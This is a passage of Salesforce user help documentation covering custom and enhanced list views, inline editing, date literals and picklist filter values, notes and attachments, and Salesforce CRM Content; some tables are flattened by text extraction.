Price book list views can be restricted by price book. Activity list views have several options; see Viewing Activity Lists on page 122. If your organization has territory management, account and opportunity list views can be restricted by My Territories or My Territory Teams. My Territories means records associated with territories to which you belong. My Territory Teams means records associated with either territories to which you belong or territories below you in the territory hierarchy. If your organization has case teams, case list views can be restricted by My Case Teams. If your organization has account teams, account list views can be restricted by My Account Teams. If your organization has opportunity teams, opportunity list views can be restricted by My Opportunity Teams.

Filter by Campaign This option is available on the following list views: Contacts home Leads home Mass email contacts Mass email leads Mass add campaign members wizard Mass update campaign members wizard

If you are editing a list view that is filtered by campaign, and do not have at least read access to the campaign, you will receive an error when attempting to save the list view. Filter by Division If your organization uses divisions to segment data and you have the Affected by Divisions permission, select the division that records in the list view must match. This option is disabled if you are not searching all records. Select --Current-- to show records in your current working division. Filter by Additional Fields Optionally, enter filter criteria to specify conditions that the selected items must match, for example, Lead Source equals Web. You can also use special date values in your filter criteria. Note: When you select the Created Date field in a list view filter, the value you specify can only be a date and not a time. This restriction does not apply to other filters. 4. Select Fields to Display The default fields are automatically selected. You can choose up to 15 different fields to display in your view. You can display only the fields that are available in your page layout. When you select a long text area field, up to 255 characters are displayed in the list view. a. To add or remove fields, select a field name, and click the Add or Remove arrow. b. Use the arrows to arrange the fields in the proper sequence. 5. Restrict Visibility

271

List Views

Creating Custom List Views

If you are an administrator or a user with the Manage Public List Views permission, specify whether everyone or just you can see the custom view. This option is not available in Personal Edition. To see a list view, users must also have the appropriate Read permission on the type of records within the list view. Alternatively, Enterprise, Unlimited, and Developer Edition users can specify a public group, role, or role including all users below that role to see the custom view. To share the list view, select Visible to certain groups of users, choose the type of group or role from the drop-down list, select the group or role from the list below it, and click Add. Note: List views are visible to your customers in the Salesforce Customer Portal if the Visible to all users radio button is selected for views on objects assigned to Customer Portal users' profiles. To create list views that only your Salesforce users can see, select Visible to certain groups of users, and then share it with the All Internal Users group or a selected set of internal groups and roles. When implementing a Customer Portal, create custom views that contain only relevant information for Customer Portal users, and then make those views visible to Customer Portal users by sharing them with the All Customer Portal. Users group or a selected set of portal groups and roles. For more information about a Customer Portal, see Setting Up Your Customer Portal on page 1751. 6. Click Save. The view appears in the View drop-down list so you can access it later. You can rename an existing list view and click Save As to save the criteria of the list view without altering the original view. To navigate back to the last list page you viewed, click Back to list at the top of any detail page. Note: The information you see in list views is only the data to which you have accesseither records you own or have read or read/write access to, records that have been shared to you, or records owned by or shared with users in roles below you in the role hierarchy. In addition, you can view only those fields that are visible in your page layout and field-level security settings. (Field-level security is available only in Enterprise, Unlimited, and Developer Editions). Archived activities are not included in activity list views. You can use the Activity History related list to view these activities. Tip: On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 161.

See Also:
Printing List Views Creating Mobile List Views Filtering on Special Picklist Values Navigating Long Lists Deleting List Views Customizing User Interface Settings Working with Enhanced Lists Using Inline Editing in Lists Tip sheet: Tips & Hints for Custom Views

272

List Views

Working with Enhanced Lists

Working with Enhanced Lists


Available in: All Editions except Database.com

User Permissions Needed To use inline editing in an enhanced list: Mass Edit from Lists

Enhanced lists give you the ability to quickly view, customize, and edit list data to speed up your daily productivity. They must first be enabled by your administrator for you to take advantage of them. Enhanced lists allow you to: Navigate through the list results by clicking the first page icon (<<), Previous, Next, or the last page icon (>>) at the bottom of the list. Jump to a specific page of results by entering a number in the text box in the lower right corner, and then pressing Enter. Create a new view by clicking Create New View. Edit, delete or refresh the current view by clicking Edit, Delete, or , respectively. Change the number of records displayed per page. Click in the lower left corner of the list and select the desired setting. You can view 10, 25, 50, 100, or 200 records at a time. When you change this setting, you return to the first page of list results. Changing your preference for the number of records displayed per page applies to all lists in all Salesforce apps, not just the one currently displayed. In addition, if you change your preference to 200, a message warns you of possible performance degradation. Change the width of a column by dragging the right side of the column heading with your mouse. Any changes you make to column widths are specific to that list only, and are preserved when you next view the list. If you add or remove columns from a list, any column width customizations for that list are discarded automatically. Change the order in which a column is displayed by dragging the entire column heading with your mouse to the desired position. If you have permission to edit the list definition, your changes are automatically saved for all users who see the list. If you do not have permission to edit the list definition, your changes are discarded when you navigate away from the page. Change the number and order of columns displayed by clicking Edit next to the list drop-down in the upper left corner. See Creating Custom List Views on page 270. If your administrator has enabled inline editing for your organization, edit single records directly from the list by double-clicking on individual field values. If your administrator has granted you the Mass Edit from Lists permission, you can also edit up to 200 records at a time. See Using Inline Editing in Lists on page 274. On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly

273

List Views

Using Inline Editing in Lists

create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 161.

See Also:
Using Inline Editing in Lists Customizing User Interface Settings Creating Custom List Views Navigating Long Lists

Using Inline Editing in Lists


Available in: All Editions except Database.com

User Permissions Needed To use inline editing in an enhanced list: Mass Edit from Lists

If both inline editing and enhanced lists are enabled, you can edit records directly in a list. Editable fields display a pencil icon ( ) when you hover over the field, while non-editable fields display a lock icon ( ). Warning: In enhanced list views, when different users make inline edits to the same fields on a record simultaneously, records are updated with the most recent edit without a conflict error message. To edit one record, double-click the editable value, specify a new value, and click OK. If you have the Mass Edit from Lists permission, you can edit up to 200 records at once. To edit multiple records: 1. Select the checkbox next to each record you want to update. If you select records on multiple pages, Salesforce remembers which records are selected. 2. Double-click one of the cells you want to edit. A dialog box displays allowing you to apply your edit to one record, or to every record selected. Note: You cannot edit multiple product records at once, they must be edited one at a time.

If you encounter any errors when trying to update records, a console window displays showing the name of each record in error (if known), as well as a description of why the error occurred. Click the name of a record in the console window to open that record's detail page in a new window. Salesforce keeps track of the records you've clicked in the error console by displaying them in gray, strike-through text. Note: To view the error console, pop-up blockers must be disabled for the Salesforce domain. To check if your browser allows pop-up windows, click Your Name > Setup > My Personal Information > Reminders, and then click Preview Reminder Alert.

274

List Views

Viewing Chatter Feeds on List Views

Tips for Using Inline Editing with Lists


Note the following tips when using inline editing with lists: Some standard fields do not support inline editing. For example, Case Status, Opportunity Stage, Opportunity Amount, Opportunity Quantity and Lead Status, and most Task and Event fields can only be edited from a record's edit page. For more information, see Editing Data Using Inline Editing on page 17. If your organization uses record types, inline editing with lists is only available when all of the records in the list are of the same record type. Therefore, you must specify a filter of Record Type equals X, where X is the name of a single record type (or blank for the master record type). To perform inline editing on an enhanced list, filter logic must be turned off in the list view filter criteria. For lists of activities, you must specify an additional filter of either Task equals True (for tasks) or Task equals False (for events) for inline editing to be available. If your organization is using Person Accounts: You can't use inline editing to change them from a Contact list. You can only inline edit Person Accounts from an Account list. You can only use inline editing on contacts associated to business accounts by specifying an additional filter of Is Person Account EQUALS False in your list criteria.

Viewing Chatter Feeds on List Views


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If Chatter is enabled, click Chatter on a standard or custom object list view to see a Chatter feed with updates from the last 30 days for the records included in the list view. Click List to display the list view again. You can choose a different list view from either mode. Click a record name to view the record, or a person's name to view their profile Click Comment to comment on a post Click Like to like a post Click the timestamp of a post, for example, Yesterday at 12:57 AM, to see that post in the feed of its associated record Click Show More to see older posts

Consider the following tips for Chatter feeds on list views: You can only view Chatter feeds on list views for objects enabled for feed tracking If drag-and-drop scheduling on list views is enabled, you won't see Chatter feeds on the list views for accounts, contacts, or leads

See Also:
Using Chatter Using Chatter Feeds

275

List Views

Printing List Views

Printing List Views


Available in: All Editions except Database.com

User Permissions Needed To print list views: Read on the records included in the list

Note: Your administrator can enable and disable printable list views.

You can print list views for the following kinds of records: Accounts Activities Campaigns Cases Contacts Contracts Custom objects Documents Leads Opportunities Permission sets Price books Profiles Products Reports Solutions

To print a list view: 1. Navigate to a list view, for example, All Accounts on the Accounts tab. 2. Sort the contents of the list view as you want them printed. 3. Click . Note: To change the sorting, close the printable view window, select the appropriate column header on the list view, and then click . 4. To select how many records display, choose a value from the Number of Records drop-down list. You can display up to 1,000 records. To show fewer records, refine your list view criteria. To print more than 1,000 records, run a report and then click the Printable View button on the report.

276

List Views

Navigating Long Lists

5. In the upper right corner of the printable view window, click Print this Page.

See Also:
Creating Custom List Views

Navigating Long Lists


Available in: All Editions

Many list pages in Salesforce include the following tools for managing a large amount of data: To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. At the top of a list, click a letter to show items that correspond to that letter, or click Other to show items whose names begin with numbers or symbols. Click All to display all items that match the criteria of the current view. To sort list view items by the data in a particular column, click that columns heading. This sorts text data alphabetically and numerical data in ascending order. Dates are sorted with the most recent date first. To reverse the sort order, click the column heading a second time. Note: You can sort by any custom field except multi-select picklists.

Click the Previous Page or Next Page link to go to the previous or next set of items in the current view. At the bottom of a list, click the fewer or more link to decrease or increase the number of items per page.

In some related lists with many items, the following links are available: Click Show [number] more to increase the number of items in the list. Click Go to list to display a secondary page of the entire related list.

See Also:
Creating Custom List Views Viewing Profile Lists

277

List Views

Deleting List Views

Deleting List Views


Available in: All Editions

To delete one of your custom views, select the view from the drop-down list and click the Edit link. At the top of the page, click the Delete button. If you are an administrator or a user with the Manage Public List Views permission, you can also delete shared views as well as some standard views.

See Also:
Creating Custom List Views Navigating Long Lists

Literal Date Values for Filter Criteria


When you use a date field such as Create Date or Last Update Date to filter for a range of dates, use one or more of the literal date values to specify the range. Available in: All Editions

When you create a list view that includes a filter for a range of dates, use one or more of the literal date values provided to specify the range. For example, to create a custom view or report of accounts created last week, enter Create Date equals LAST WEEK. For literal date values with variables (such as NEXT N DAYS), substitute N with any number greater than zero. Date values are not case-sensitive. You can use LAST WEEK or last week. You can use multiple range values in a single field, separated by commas. Note: For Enterprise, Unlimited, Professional, and Developer Editions, the week is defined by the Locale drop-down list in your personal information settings at Your Name > Setup > My Personal Information > Personal Information. For Contact Manager, Group, and Personal Editions, the week is defined by the Locale setting in the company profile at Your Name > Setup > Company Profile > Company Information. For example, when the Locale is US English, a week runs Sunday to Saturday, whereas with UK English, a week spans Monday to Sunday. Literal Date Value YESTERDAY TODAY TOMORROW LAST WEEK Range Starts at 12:00:00 a.m. on the day before the current day and continues for 24 hours. Starts at 12:00:00 a.m. on the current day and continues for 24 hours. Starts at 12:00:00 a.m. on the day after the current day and continues for 24 hours. Starts at 12:00:00 a.m. on the first day of the week before the current week and continues for seven days.

278

List Views

Literal Date Values for Filter Criteria

Literal Date Value THIS WEEK NEXT WEEK LAST n WEEKS NEXT n WEEKS n WEEKS AGO LAST MONTH THIS MONTH NEXT n MONTHS LAST n MONTHS n MONTHS AGO

Range Starts at 12:00:00 a.m. on the first day of the current week and continues for seven days. Starts at 12:00:00 a.m. on the first day of the week after the current week and continues for seven days. Starts at 12:00:00 a.m. on the first day of the week that started n weeks before the current week, and continues up to the current second. Starts at 12:00:00 a.m. on the first day of the week after the current week and continues for n times seven days. Starts at 12:00:00 a.m. on the first day of the week that started n weeks before the start of the current week and continues for seven days. Starts at 12:00:00 a.m. on the first day of the month before the current month and continues for all the days of that month. Starts at 12:00:00 a.m. on the first day of the current month and continues for all the days of that month. Starts at 12:00:00 a.m. on the first day of the month after the current month and continues until the end of the nth month. Starts at 12:00:00 a.m. on the first day of the month that started n months before the current month and continues up to the current second. Starts at 12:00:00 a.m. on the first day of the month that started n months before the start of the current month and continues for all the days of that month. Starts at 12:00:00 a.m. on the first day of the month after the current month and continues for all the days of that month. Starts at 12:00:00 a.m. 90 days before the current day and continues up to the current second. (The range includes today.) Starts at 12:00:00 a.m. on the day after the current day and continues for 90 days. (The range does not include today.) Starts at 12:00:00 a.m. n days before the current day and continues up to the current second. (The range includes today.) Starts at 12:00:00 a.m. on the next day and continues for the next n days. (The range does not include today.) Starts at 12:00:00 a.m. on the day n days before the current day and continues for 24 hours. (The range does not include today.) Starts at 12:00:00 a.m. on the first day of the calendar quarter before the current calendar quarter and continues to the end of that quarter. Starts at 12:00:00 a.m. on the first day of the current calendar quarter and continues to the end of the quarter. Starts at 12:00:00 a.m. on the first day of the calendar quarter after the current calendar quarter and continues to the end of that quarter.

NEXT MONTH LAST 90 DAYS NEXT 90 DAYS LAST n DAYS NEXT n DAYS n DAYS AGO LAST QUARTER THIS QUARTER NEXT QUARTER

279

List Views

Literal Date Values for Filter Criteria

Literal Date Value LAST n QUARTERS

Range Starts at 12:00:00 a.m. on the first day of the calendar quarter n quarters ago and continues to the end of the calendar quarter before the current quarter. (The range does not include the current quarter.) Starts at 12:00:00 a.m. on the first day of the calendar quarter after the current quarter and continues to the end of the calendar quarter n quarters in the future. (The range does not include the current quarter.) Starts at 12:00:00 a.m. on the first day of the calendar quarter n quarters before the current calendar quarter and continues to the end of that quarter. Starts at 12:00:00 a.m. on January 1 of the year before the current year and continues through the end of December 31 of that year. Starts at 12:00:00 a.m. on January 1 of the current year and continues through the end of December 31 of the current year. Starts at 12:00:00 a.m. on January 1 of the year after the current year and continues through the end of December 31 of that year. Starts at 12:00:00 a.m. on January 1 of the calendar year n years before the current calendar year and continues through the end of December 31 of that year. Starts at 12:00:00 a.m. on January 1 of the year that started n years before the start of the current year and continues through December 31 of the current year. Starts at 12:00:00 a.m. on January 1 of the year after the current year and continues through the end of December 31 of the nth year. Starts at 12:00:00 a.m. on the first day of the fiscal quarter before the current fiscal quarter and continues through the last day of that fiscal quarter. The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Note: None of the FISCAL literal date values are supported when creating mobile custom views.

NEXT n QUARTERS

n QUARTERS AGO LAST YEAR THIS YEAR NEXT YEAR n YEARS AGO

LAST n YEARS

NEXT n YEARS LAST FISCAL QUARTER

THIS FISCAL QUARTER

Starts at 12:00:00 a.m. on the first day of the current fiscal quarter and continues through the end of the last day of the current fiscal quarter. The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current fiscal quarter and continues through the last day of that fiscal quarter. (The range does not include the current quarter.) The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters ago and continues through the end of the last day of the previous fiscal quarter. (The range does not include the current fiscal quarter.) The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year.

NEXT FISCAL QUARTER

LAST n FISCAL QUARTERS

280

List Views

Literal Date Values for Filter Criteria

Literal Date Value NEXT n FISCAL QUARTERS

Range Starts at 12:00:00 a.m. on the first day of the fiscal quarter after the current fiscal quarter and continues through the end of the last day of the nth fiscal quarter. (The range does not include the current fiscal quarter.) The fiscal quarter is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal quarter n fiscal quarters before the current fiscal quarter and continues through the end of the last day of that fiscal quarter. Starts at 12:00:00 a.m. on the first day of the fiscal year before the current fiscal year and continues through the end of the last day of that fiscal year. The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the current fiscal year and continues through the end of the last day of the fiscal year. The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year after the current fiscal year and continues through the end of the last day of that fiscal year. The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago and continues through the end of the last day of the fiscal year before the current fiscal year. (The range does not include the current fiscal year.) The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year after the current fiscal year and continues through the end of the last day of the nth fiscal year. (The range does not include the current fiscal year.) The fiscal year is defined in the company profile at Your Name > Setup > Company Profile > Fiscal Year. Starts at 12:00:00 a.m. on the first day of the fiscal year n fiscal years ago and continues through the end of the last day of that fiscal year.

n FISCAL QUARTERS AGO

LAST FISCAL YEAR

THIS FISCAL YEAR

NEXT FISCAL YEAR

LAST n FISCAL YEARS

NEXT n FISCAL YEARS

n FISCAL YEARS AGO

See Also:
Creating Custom List Views Creating a Report Filtering on Special Picklist Values

281

List Views

Filtering on Special Picklist Values

Filtering on Special Picklist Values


The available fields vary according to which Salesforce Edition you have.

When creating filter criteria, you can use special picklist values for your search criteria. These are special picklists with values of either True or False. For example, to show all opportunities you have won, enter Won equals True as your search criteria. To show all closed/lost opportunities, enter Closed equals True and Won equals False. Note: If you are creating filter criteria for a report or list view, the lookup icon automatically displays when you choose to filter on one of the special picklists. Click the lookup icon to choose the value True or False. Alternatively, you can manually enter True or False in the filter criteria. These are the available fields and their values: Special Picklist Field Accounts and contacts: Is Person
Account

Value True

Description The account is a person account. For more information, see What is a Person Account? on page 68. Note that your administrator may have customized the name of this field. This field displays as the person account icon ( ). The account is a business account. The account is a partner account, or the lead or opportunity owner is a partner user. For more information, see Partner Portal Overview on page 3674. The account is not a partner account or the lead or opportunity owner is not a partner user. Applies only to events, not tasks. The event is marked as an all day event. The event has a specific time. Applies only to tasks, not events. The task has been closed, that is, the task Status field has a Closed value. Task is still open. Applies only to events, not tasks. The event is the meeting invite sent to another user for a multi-person event. The event is the original multi-person event assigned to the event host. Activity does not have a green sheet. Activity is a task, not an event. Activity is an event.

False Accounts, leads, and opportunities:


Partner Account

True

False Activities: All-day True False Activities: Closed True False Activities: Event Invitation (Only for reports) False False Activities: Task True False True

282

List Views

Filtering on Special Picklist Values

Special Picklist Field Campaigns: Active

Value True False

Description Campaign is active and can be chosen from various campaign picklists, for example, in the campaign import wizards. Campaign is inactive. The case is closed, that is, the case Status field has a Closed value. Case is still open. Case has been automatically escalated via your organization's escalation rule. Case has not been escalated. Case has a new comment added by a Self-Service user. Case does not have a new Self-Service comment. The case is open, that is, the case Status has a value that is not equivalent to Closed. Case has been closed. Case has a comment added by a Self-Service user. Case does not have a Self-Service comment. The contact cannot be included in a mass email recipient list. The contact may receive mass email. The contact is enabled to log in to your Self-Service portal. The contact is not enabled for Self-Service. The lead has been converted. The lead has not been converted. The lead cannot be included in a mass email recipient list. The lead may receive mass email. The lead has not yet been viewed or edited by the owner since it was assigned to that user. The lead has been viewed or edited at least once by the owner since it was assigned. The opportunity is closed, that is, the Stage field has a value of the type Closed/Won or Closed/Lost. The opportunity is still open. The partner for the opportunity has been marked as the primary partner.

Cases: Closed

True False

Cases: Escalated

True False

Cases: New Self-Service Comment True False Cases: Open (Only for reports) False Cases: Self-Service Commented True False Contacts: Email Opt Out True False Contacts: Self-Service Active (Only for reports) Leads: Converted (Only for reports) Leads: Email Opt Out True False True False True False Leads: Unread True False Opportunities: Closed True False Opportunities: Primary (Only for Partner Opportunities report) True True

283

List Views

Filtering on Special Picklist Values

Special Picklist Field

Value False

Description The partner for the opportunity has not been marked as the primary partner. The opportunity owner has checked the Private box on the opportunity edit page. The Private box on the opportunity is not checked. The opportunity is closed and won, that is, the Stage field has a value of the type Closed/Won. The opportunity has not been won. The Stage field may have a value of the type Open or Closed/Lost. Product is active and can be added to opportunities in Enterprise and Unlimited Edition organizations. Product is inactive and cannot be added to opportunities. Product has a default quantity schedule. Product does not have a default quantity schedule. Product has a default revenue schedule. Product does not have a default revenue schedule. The solution has been marked Visible in Self-Service Portal and is visible to Self-Service portal users. Solution is not marked Visible in Self-Service Portal and is not visible to Self-Service portal users. The solution has been reviewed, that is, the solution Status field has a Reviewed value. Solution is not reviewed. The translated solution has not been updated to match the master solution with which it is associated. The translated solution has been updated to match the master solution with which it is associated. User is active and can log in. User is inactive and cannot log in. User has access to use Connect Offline. User is not enabled for Connect Offline use. User can manage campaigns. User is not enabled to manage campaigns.

Opportunities: Private

True False

Opportunities: Won

True False

Products: Active

True False

Product: Has Quantity Schedule

True False

Product: Has Revenue Schedule

True False

Solutions: Visible in
Self-Service Portal

True

False Solutions: Reviewed True False Solutions Out of Date True False Users: Active True False Users: Offline User True False Users: Marketing User True False

284

Notes & Attachments

Viewing and Editing Google Docs, Notes, and Attachments

Special Picklist Field User: Is Partner

Value True False

Description User is a partner user. For more information, see Partner Portal Overview on page 3674. User is not a partner user.

Note: The special picklists you can view are only those that are visible in your page layout and field-level security settings. (Field-level security is available only in Enterprise, Unlimited, and Developer Editions).

See Also:
Creating Custom List Views Creating a Report Literal Date Values for Filter Criteria

NOTES & ATTACHMENTS


Viewing and Editing Google Docs, Notes, and Attachments
Notes and attachments are available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Google Docs available in all editions

You can create, view, and edit notes and add attachments from the Notes and Attachments related list on selected detail pages such as accounts, contacts, leads, opportunities, and products. You can also add attachments from the Attachments related list on selected detail pages such as cases, solutions, and campaigns. If Chatter is enabled for your organization, files posted to a feed on a record are added to the record's Notes and Attachments related list as feed attachments. You can preview (if available), download, and delete feed attachments from the Notes and Attachments related list, but you can't edit them. You can view feed attachment details by clicking on the title of the file. To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments on page 2560. Note: If the Add Google Docs to Salesforce service is enabled in your organization, the Notes and Attachments related list is entitled Google Docs, Notes, & Attachments, and the Attachments related list is entitled Google Docs & Attachments. To view the contents of a note, click the title of the note. To view the details of all notes, attachments, or Google docs, click View All. Note that the View All button only displays when there are records to view.

285

Notes & Attachments

Viewing and Editing Google Docs, Notes, and Attachments

To view the details of an attachment, click the title of the file and then select the link on the Attached File detail page. To view the details of a feed attachment, click the title of the file. To edit a note or the title of an attachment, click Edit and make the changes you want. You can't edit the attached file directly and you can't edit feed attachments. To create a new Google doc, choose New Document, New Spreadsheet, or New Presentation from the Add Google Doc drop-down button. For more information, see Adding Google Docs to Salesforce on page 331. To associate an existing Google doc with the Salesforce record, choose Add Existing from the Add Google Doc drop-down button. For more information, see Editing Google Doc Links on page 334. To edit the title or URL of a Google doc, click Edit. To delete a Google doc from the related list, click Del. This action removes the document's association with the record but does not delete the document in Google Apps. To view and modify the Google doc, click View.

Consider the following when working with notes, attachments, and Google docs: To access a Google doc from a record detail page, the doc must be shared with your Google Apps account. The size limit for an attached file is 5 MB when attached directly to the related list, including a file attached to a solution. When a file is attached to a records Chatter feed its added to the Notes and Attachments related list as a feed attachment, and the file size limit is 2 GB. The size limit for all files attached to an email is 10 MB. All notes and attachments added to contacts and opportunities roll up under the associated account as well. You cannot edit a note or attachment unless you also have access to edit the record associated with it. To delete a note or attachment, you must be the owner of the note or attachment or an administrator with the Modify all Data permission. Note ownership is determined by the owner field. Attachment ownership is determined by the created by field. Record owners (except Portal users) can delete attachments on records. Notes and attachments marked as private via the Private checkbox are accessible only to the person who attached them and administrators. For administrators to view private notes and attachments, they need the View All Data permission; to edit or delete them, they need the Modify All Data permission. The Notes and Attachments related list includes files from Salesforce CRM Content when they are posted to a Chatter feed on a record. However, the Notes and Attachments related list does not include Salesforce CRM Content files that only exist in Salesforce CRM Content. If your organization has Salesforce CRM Content enabled, you can add the Related Content related list to the detail pages for accounts, contacts, leads, opportunities, cases, products, or custom objects. For more information, see Finding Salesforce CRM Content on page 318. Click Preview next to a feed attachment to display a preview of the file. Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

286

Notes & Attachments

Creating Notes

If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

See Also:
Tagging Records Using Google Docs in Salesforce Creating Notes Adding Attachments Note and Attachment Fields Deleting Notes and Attachments Salesforce CRM Content Overview

Creating Notes
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To create a note, click New Note in the Notes and Attachments related list of a record. Specify a description of the note and its contents. The contents can contain up to 32KB of data. If Spell Checker is enabled for your organization, click Check Spelling to check the spelling of the note. Spell Checker checks the body of the note, not the title. Spell Checker does not support all the languages that Salesforce supports. For example, Spell Checker doesnt support Thai, Russian, and double-byte languages, such as Japanese, Korean, or Chinese. Click Save when you have finished. Note that you need to have access to edit the record in order to create a note associated with it. Note: Any notes you add from contact or opportunity pages will display in the Notes and Attachments related list of that record, as well as in the related list for the account they are associated with.

See Also:
Adding Attachments Note and Attachment Fields

Adding Attachments
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

You can add an attachment to the Attachments related list of a case, solution, campaign, task, or event, or to the Notes and Attachments related list of an account, contact, lead, opportunity, or custom object. If you don't see the related list on task or event page layouts, you may need to ask your administrator to add it. All file types are supported, including everything from Microsoft PowerPoint presentations and Excel spreadsheets, to Adobe PDFs, image files, audio files, and video files.

287

Notes & Attachments

Note and Attachment Fields

1. 2. 3. 4.

Click Attach File. Select Browse to specify the location and name of the file. Click Attach File to upload the file. Select Done after the file finishes uploading. Note: You need permission to edit a record in order to add an attachment to it. The size limit for an attached file is 5 MB when attached directly to the related list, including a file attached to a solution. When a file is attached to a records Chatter feed its added to the Notes and Attachments related list as a feed attachment, and the file size limit is 2 GB. The size limit for all files attached to an email is 10 MB. If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot upload files with the following file extensions: .htm, .html, .htt, .htx, .mhtm, .mhtml, .shtm, .shtml, .acgi. HTML attachments are not permitted on solutions, regardless of whether this security setting is enabled. In addition, this setting does not affect attachments on email templates; HTML attachments on email templates are always permitted.

After a file is attached to the Attachments or Notes and Attachments related list, you can click View All to view the details of all the attachments on the related list. Note that the View All button only displays when there are records to view.

See Also:
Creating Notes Note and Attachment Fields File Size Limits in Salesforce

Note and Attachment Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Notes and attachments have the following fields, listed in alphabetical order. Attachment Fields Field
Description File Name Private

Description Description of the uploaded file. Name of the uploaded file. Checkbox to indicate that the attachment is only accessible to the owner and administrators. For administrators to view private attachments, they need the View All Data permission; to edit them, they need the Modify All Data permission. Checkbox to indicate that the attachment is shared with connections when the parent record is shared. This checkbox

Share With Connections

288

Notes & Attachments

Deleting Notes and Attachments

Attachment Fields Field Description is only available if Salesforce to Salesforce is enabled, the parent record is shared, and the attachment is public.
Size

Size of the uploaded file.

Note Fields Field


Body Private

Description Text of the note. Can hold up to 32KB of data. Checkbox to indicate that note is only accessible to the owner and administrators. For administrators to view private notes, they need the View All Data permission; to edit them, they need the Modify All Data permission. Short description of note. Up to 80 characters are allowed in this field.

Title

See Also:
Adding Attachments Creating Notes

Deleting Notes and Attachments


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To delete a note or attachment, click Del next to the note or attachment in the Notes and Attachments related list or Attachments related list of a record. Deleted notes and attachments can be restored from the Recycle Bin. To delete a file that was attached from a Chatter feed, click Del next to the feed attachment. This removes the file from all Chatter feeds where it's been shared and deletes the file from the Notes and Attachments related list. Restore the file by clicking on the Recycle Bin, selecting the file, and clicking Undelete. If the file was attached from your computer, a Chatter feed, group, or a Salesforce CRM Content library, deleting it from the Notes and Attachments related list also removes it from the post, but doesn't delete it from its original location.

See Also:
Recycle Bin

289

Salesforce CRM Content

Salesforce CRM Content Overview

SALESFORCE CRM CONTENT


Salesforce CRM Content Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

With Salesforce CRM Content you can organize, share, search, and manage content within your organization and across key areas of the Salesforce application. Content can include all file types, from traditional business documents such as Microsoft PowerPoint presentations to audio files, video files, Web pages, and Google docs. To learn the different ways files are used in Salesforce, see Differences between Files, Salesforce CRM Content, Salesforce Knowledge, Documents, and Attachments on page 2560.

Overview
Salesforce CRM Content simplifies content management by incorporating user-friendly features into the following tasks: Organizing Rather than keep files in folders that make content difficult to find, Salesforce CRM Content stores files in fully searchable file repositories known as libraries. Administrators can create multiple libraries based on any classification, such as department name, job function, or team, then configure user permissions within the library to balance content access with security. Authors assign descriptive labels called tags to help classify and organize content across libraries. You can view a list of all content that belongs to a particular tag or filter search results based on a tag or tags. Salesforce CRM Content also provides personal libraries, which allow users to reduce the clutter on their desktops while using content-management benefits such as document search and version control. Searching The powerful Salesforce CRM Content search engine scans the entire body of the document as well as content properties such as the title, description, tags, categorization data, and author name. You can filter searches by featured content, file format, author, tags, libraries, or custom fields and then view the results with various levels of detail, providing an easy way to find relevant content quickly. If Chatter is enabled for your organization, you can also filter your search results by Chatter files. The smart bar graphic for downloads, comments, ratings, and subscribers allows you to compare documents within a search result set. Subscribing Once a file is located, subscribing to it ensures that you receive an email notification when new versions are published or changes are made to the file's properties. You can also subscribe to authors, tags, and libraries, thus reducing the time spent searching for new or updated content. Notification emails will arrive real-time or once daily, depending on your preferences. Previewing In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to you. The content details page provides document details at a glance, including document title, author, description, tags, libraries, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word, Excel, or Adobe PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed.

290

Salesforce CRM Content

Salesforce CRM Content Overview

